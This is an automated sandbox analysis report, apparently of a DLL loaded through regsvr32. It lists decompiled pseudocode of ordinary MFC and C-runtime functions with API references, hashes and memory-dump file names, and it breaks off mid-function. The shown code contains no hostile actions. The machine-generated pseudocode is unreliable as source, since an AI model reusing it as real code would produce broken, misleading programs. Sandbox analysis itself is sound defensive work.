MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F18
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F86

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction ID: bc0a73e0192d900c1d89498958e44598309ec6eeb61669affd2269eacaf1277d
Opcode Fuzzy Hash: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction Fuzzy Hash: EA319931A0028AEFDF50DFA4E891AAE7BF9EF00251F92C5A9F4648B191D330E944DB50

Uniqueness

Uniqueness Score: -1.00%

Function 100145B9, Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E100145B9(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E1000D61F(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E1000D5EC(_t51, _t65, 0, _t77) + 4));
					_t70 = E100139DB(0x10058f44);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E1001A023(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E10016380(_t51, _t66, _t70, _t83);
								}
								_t37 = E1001703B(_t51, _t64, _t66, _t70,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E1001703B(_t51, _t64, _t66, _t70, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E1001A023(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E1000B510();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E100144ED( *((intOrPtr*)(_t51 + 0x20)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x18)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x14)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

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APIs

__msize.LIBCMT ref: 1001464A
__msize.LIBCMT ref: 1001466D
_malloc.LIBCMT ref: 10014685
_malloc.LIBCMT ref: 1001469A

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction ID: c51f58ba7030090f65d8388f2f6216d6b95cef8c4540db251b535ec9dede0d79
Opcode Fuzzy Hash: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction Fuzzy Hash: 2E21F375500A019FCB55DF34D881B5A73E4FF05298B22842AE869DF266DF30ECC1CB82

Uniqueness

Uniqueness Score: -1.00%

Function 10009D34, Relevance: 6.1, APIs: 4, Instructions: 58
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E10009D34(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t40;
				void* _t42;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E10017BC1(E10027DA5, __ebx, __edi, __esi);
				_t35 = E10009B91(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E10009CDE(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E10017C83( &_a4, 0x1002e16c);
				asm("int3");
				_t40 = _t42;
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E10009C0D(0, _t36, _t37, _t38, _t40, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

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APIs

__EH_prolog3.LIBCMT ref: 10009D3B

Part of subcall function 10009B91: _malloc.LIBCMT ref: 10009BAB

__CxxThrowException@8.LIBCMT ref: 10009D71
FormatMessageA.KERNEL32(00001100,00000000,8007000E,00000800,?,00000000,00000000,?,?,8007000E,1002E16C,00000004,1000105C,8007000E), ref: 10009D9A

Part of subcall function 10009C0D: _wctomb_s.LIBCMT ref: 10009C1D

LocalFree.KERNEL32(?), ref: 10009DC3

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc_wctomb_s
String ID:
API String ID: 1615547351-0
Opcode ID: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction ID: 2087144037a306e6c8b96e697859ee983d4da7c50e84c085b7e4f49f0a09e647
Opcode Fuzzy Hash: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction Fuzzy Hash: 1E1170B1644249AFEB00DFA4DC81DAE3BA9FB04390F21452AF629CA1D1D731D9508B51

Uniqueness

Uniqueness Score: -1.00%

Function 1000C887, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E1000C887(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t32;
				signed int _t34;
				signed short _t35;
				void* _t37;
				signed short* _t40;

				_push(__ecx);
				_push(_t28);
				_t37 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x58));
				_t40 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t32 =  *(E1000D5EC(_t28, __ecx, _t40, _t42) + 0xc);
					_v8 = LoadResource(_t32, FindResourceA(_t32,  *(_t37 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t40 = LockResource(_v8);
				}
				_t30 = 1;
				if(_t40 != 0) {
					_t35 =  *_t40;
					if(_t40[1] != 0xffff) {
						_t23 = _t40[5] & 0x0000ffff;
						_t34 = _t40[6] & 0x0000ffff;
					} else {
						_t35 = _t40[6];
						_t23 = _t40[9] & 0x0000ffff;
						_t34 = _t40[0xa] & 0x0000ffff;
					}
					if((_t35 & 0x00001801) != 0 || _t23 != 0 || _t34 != 0) {
						_t30 = 0;
					}
				}
				if( *(_t37 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t30;
			}

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APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 1000C8AD
LoadResource.KERNEL32(?,00000000), ref: 1000C8B5
LockResource.KERNEL32(00000000), ref: 1000C8C7
FreeResource.KERNEL32(00000000), ref: 1000C911

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction ID: fb1a28c5f31200e3abd4209bdb6f3add133a5505808a0a6cde1b54a47ab738f1
Opcode Fuzzy Hash: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction Fuzzy Hash: 46118F3150076AEFE710DF95C889AAAB3F5FF003D5F218029E84252594D770ED50D760

Uniqueness

Uniqueness Score: -1.00%

Function 1000ADB5, Relevance: 6.1, APIs: 4, Instructions: 56
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E1000ADB5(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				intOrPtr _t43;
				void* _t45;
				intOrPtr* _t51;
				void* _t52;
				void* _t53;

				_t53 = __eflags;
				_t46 = __ecx;
				_t44 = __ebx;
				_push(4);
				E10017BC1(E10027E86, __ebx, __edi, __esi);
				_t51 = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = __ecx;
				E1000B862(__ebx, __ecx, __edi, __ecx, _t53);
				_t54 =  *((intOrPtr*)(_t52 + 8));
				 *((intOrPtr*)(_t52 - 4)) = 0;
				 *_t51 = 0x10029f54;
				if( *((intOrPtr*)(_t52 + 8)) == 0) {
					 *((intOrPtr*)(_t51 + 0x50)) = 0;
				} else {
					_t43 = E1001817A( *((intOrPtr*)(_t52 + 8)));
					_pop(_t46);
					 *((intOrPtr*)(_t51 + 0x50)) = _t43;
				}
				_t45 = E1000D5EC(_t44, 0, _t51, _t54);
				_t55 = _t45;
				if(_t45 == 0) {
					L4:
					E1000A0DB(_t45, _t46, 0, _t51, _t55);
				}
				_t7 = _t45 + 0x74; // 0x74
				_t46 = _t7;
				_t37 = E1000AA21(_t45, _t7, 0, _t51, _t55);
				if(_t37 == 0) {
					goto L4;
				}
				 *((intOrPtr*)(_t37 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x2c)) = GetCurrentThread();
				 *((intOrPtr*)(_t51 + 0x30)) = GetCurrentThreadId();
				 *((intOrPtr*)(_t45 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x44)) = 0;
				 *((intOrPtr*)(_t51 + 0x7c)) = 0;
				 *((intOrPtr*)(_t51 + 0x64)) = 0;
				 *((intOrPtr*)(_t51 + 0x68)) = 0;
				 *((intOrPtr*)(_t51 + 0x54)) = 0;
				 *((intOrPtr*)(_t51 + 0x60)) = 0;
				 *((intOrPtr*)(_t51 + 0x88)) = 0;
				 *((intOrPtr*)(_t51 + 0x58)) = 0;
				 *((short*)(_t51 + 0x92)) = 0;
				 *((short*)(_t51 + 0x90)) = 0;
				 *((intOrPtr*)(_t51 + 0x48)) = 0;
				 *((intOrPtr*)(_t51 + 0x8c)) = 0;
				 *((intOrPtr*)(_t51 + 0x80)) = 0;
				 *((intOrPtr*)(_t51 + 0x84)) = 0;
				 *((intOrPtr*)(_t51 + 0x70)) = 0;
				 *((intOrPtr*)(_t51 + 0x74)) = 0;
				 *((intOrPtr*)(_t51 + 0x94)) = 0;
				 *((intOrPtr*)(_t51 + 0x9c)) = 0;
				 *((intOrPtr*)(_t51 + 0x5c)) = 0;
				 *((intOrPtr*)(_t51 + 0x6c)) = 0;
				 *((intOrPtr*)(_t51 + 0x98)) = 0x200;
				return E10017C60(_t51);
			}

0x1000adb5
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0x00000000
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0x1000ae87

APIs

__EH_prolog3.LIBCMT ref: 1000ADBC

Part of subcall function 1000B862: __EH_prolog3.LIBCMT ref: 1000B869

__strdup.LIBCMT ref: 1000ADDE
GetCurrentThread.KERNEL32 ref: 1000AE0B
GetCurrentThreadId.KERNEL32 ref: 1000AE14

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction ID: f8307bcc4145d2f3034cc24c4785684ef343d47fe4738e0b5029f7ba663f9659
Opcode Fuzzy Hash: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction Fuzzy Hash: 88217EB4800B50CFE721DF6A858564AFBF8FFA4680F10891FD59A87A25CBB0A581CF45

Uniqueness

Uniqueness Score: -1.00%

Function 1001170E, Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1001170E(intOrPtr* __ecx) {
				char _v20;
				intOrPtr _v32;
				void* __ebx;
				void* __edi;
				intOrPtr* __esi;
				struct HWND__* _t18;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t33;

				_t28 = __ecx;
				_push(0);
				_t33 = __ecx;
				if( *((intOrPtr*)( *__ecx + 0x120))() != 0) {
					__eax =  *__esi;
					__ecx = __esi;
					__eax =  *((intOrPtr*)( *__esi + 0x170))();
				}
				_t30 = SendMessageA;
				SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
				E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
				_t28 = _t33;
				_t33 = E10010DEC(0, _t28, SendMessageA);
				if(_t33 != 0) {
					SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
					E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
					_t18 = GetCapture();
					if(_t18 != 0) {
						_t18 = SendMessageA(_t18, 0x1f, 0, 0);
					}
					return _t18;
				} else {
					_push(_t28);
					_v20 = 0x10057298;
					E10017C83( &_v20, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, 0, SendMessageA, _t33);
					_t29 = E10013965(0x104);
					_v32 = _t29;
					_t24 = 0;
					_v20 = 0;
					if(_t29 != 0) {
						_t24 = E1000CF71(_t29);
					}
					return E10017C60(_t24);
				}
			}

0x1001170e
0x1001170e
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0x1000a123
0x1000a123

APIs

SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 10011738
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 10011763

Part of subcall function 1001044A: GetTopWindow.USER32(00000000), ref: 10010458

GetCapture.USER32 ref: 10011775
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 10011784

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$CaptureWindow
String ID:
API String ID: 729421689-0
Opcode ID: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction ID: c1fa24ad5068faa30316ff7830c17e6e1fa791912a80157e4ea929c0746033bf
Opcode Fuzzy Hash: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction Fuzzy Hash: EF012CB5350219BFF621AB608CC9FBA36ADEB487C4F010539F685AA1E2C6A19C415660

Uniqueness

Uniqueness Score: -1.00%

Function 10013F17, Relevance: 6.1, APIs: 4, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F17(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					E10016DF0( &_v24, 0x10, "%d", _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(__ecx + 0x68));
				} else {
					_t30 = E10013ED1(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E100167D5(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

0x10013f17
0x10013f1d
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0x10013f63
0x10013f42
0x10013f9b

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 10013F50
RegCloseKey.ADVAPI32(00000000), ref: 10013F59
_swprintf.LIBCMT ref: 10013F76
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 10013F87

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWrite_swprintf
String ID:
API String ID: 4210924919-0
Opcode ID: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction ID: 30a1eb16c1be1d822a6ca59f9e75d62d608c78195c8382286e316af6553577e2
Opcode Fuzzy Hash: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction Fuzzy Hash: 25018076900219BBDB00DF648C85FAF77BCEF48754F104469FA01AB181DA74E94597A4

Uniqueness

Uniqueness Score: -1.00%

Function 1000B244, Relevance: 6.0, APIs: 4, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000B244(void* __ecx, void* __edi, void* __ebp, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* _t16;
				int _t17;
				int _t18;
				struct HWND__* _t19;
				intOrPtr _t25;
				intOrPtr _t33;
				void* _t35;

				_t32 = __edi;
				_t35 = __ecx;
				_t25 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t25 == 0) {
					__eflags =  *((intOrPtr*)(__ecx + 0x14));
					if(__eflags == 0) {
						L3:
						_t17 = E1000A0DB(0, _t25, _t32, _t35, _t39);
						L4:
						asm("sbb edx, edx");
						_t18 = EnableMenuItem( *(_t25 + 4), _t17, ( ~_a4 & 0xfffffffd) + 0x00000003 | 0x00000400);
						L11:
						 *((intOrPtr*)(_t35 + 0x18)) = 1;
						return _t18;
					}
					__eflags = _a4;
					if(_a4 == 0) {
						_push(__edi);
						_t33 =  *((intOrPtr*)(__ecx + 0x14));
						_t19 = GetFocus();
						__eflags = _t19 -  *(_t33 + 0x20);
						if(_t19 ==  *(_t33 + 0x20)) {
							SendMessageA( *(E1000FB5C(0, _t25, __ebp, GetParent( *(_t33 + 0x20))) + 0x20), 0x28, 0, 0);
						}
					}
					_t18 = E10012913( *((intOrPtr*)(_t35 + 0x14)), _a4);
					goto L11;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					_t17 =  *(__ecx + 8);
					_t39 = _t17 -  *((intOrPtr*)(__ecx + 0x20));
					if(_t17 <  *((intOrPtr*)(__ecx + 0x20))) {
						goto L4;
					}
					goto L3;
				}
				return _t16;
			}

0x1000b244
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0x1000b2d0

APIs

EnableMenuItem.USER32 ref: 1000B27C

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetFocus.USER32 ref: 1000B293
GetParent.USER32(?), ref: 1000B2A1
SendMessageA.USER32(?,00000028,00000000,00000000), ref: 1000B2B4

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: EnableException@8FocusH_prolog3ItemMenuMessageParentSendThrow
String ID:
API String ID: 3849708097-0
Opcode ID: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction ID: 6f1bf2e13571d4607552996c72993327e3919edcc1f96bcd7a145644f4ad6856
Opcode Fuzzy Hash: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction Fuzzy Hash: FB115B71500A11AFE720DF64CCC9D1EBBF6FF893A5B118A2DF186869A8C731AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001044A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001044A(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E1000FB83(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E1001016F(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E1001044A(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

0x1001044a
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0x00000000
0x00000000
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0x1001049b
0x100104b5
0x100104b5
0x100104c4

APIs

GetTopWindow.USER32(00000000), ref: 10010458
GetTopWindow.USER32(00000000), ref: 10010497
GetWindow.USER32(00000000,00000002), ref: 100104B5

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction ID: cb0d0bbe13ee34529c330f041d0b53c98759dff42d13bab1c22f515cd31b8fc3
Opcode Fuzzy Hash: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction Fuzzy Hash: CD01257620061ABBDF12DF908C44E9F3A6AEF08390F018014FE8458060C7B6D9A2EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 100223DD, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100223DD(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;
				void* _t29;

				_t28 = __ebx;
				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E10021CDA(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E10021DC6(_t28, _t29, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E100222E5(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
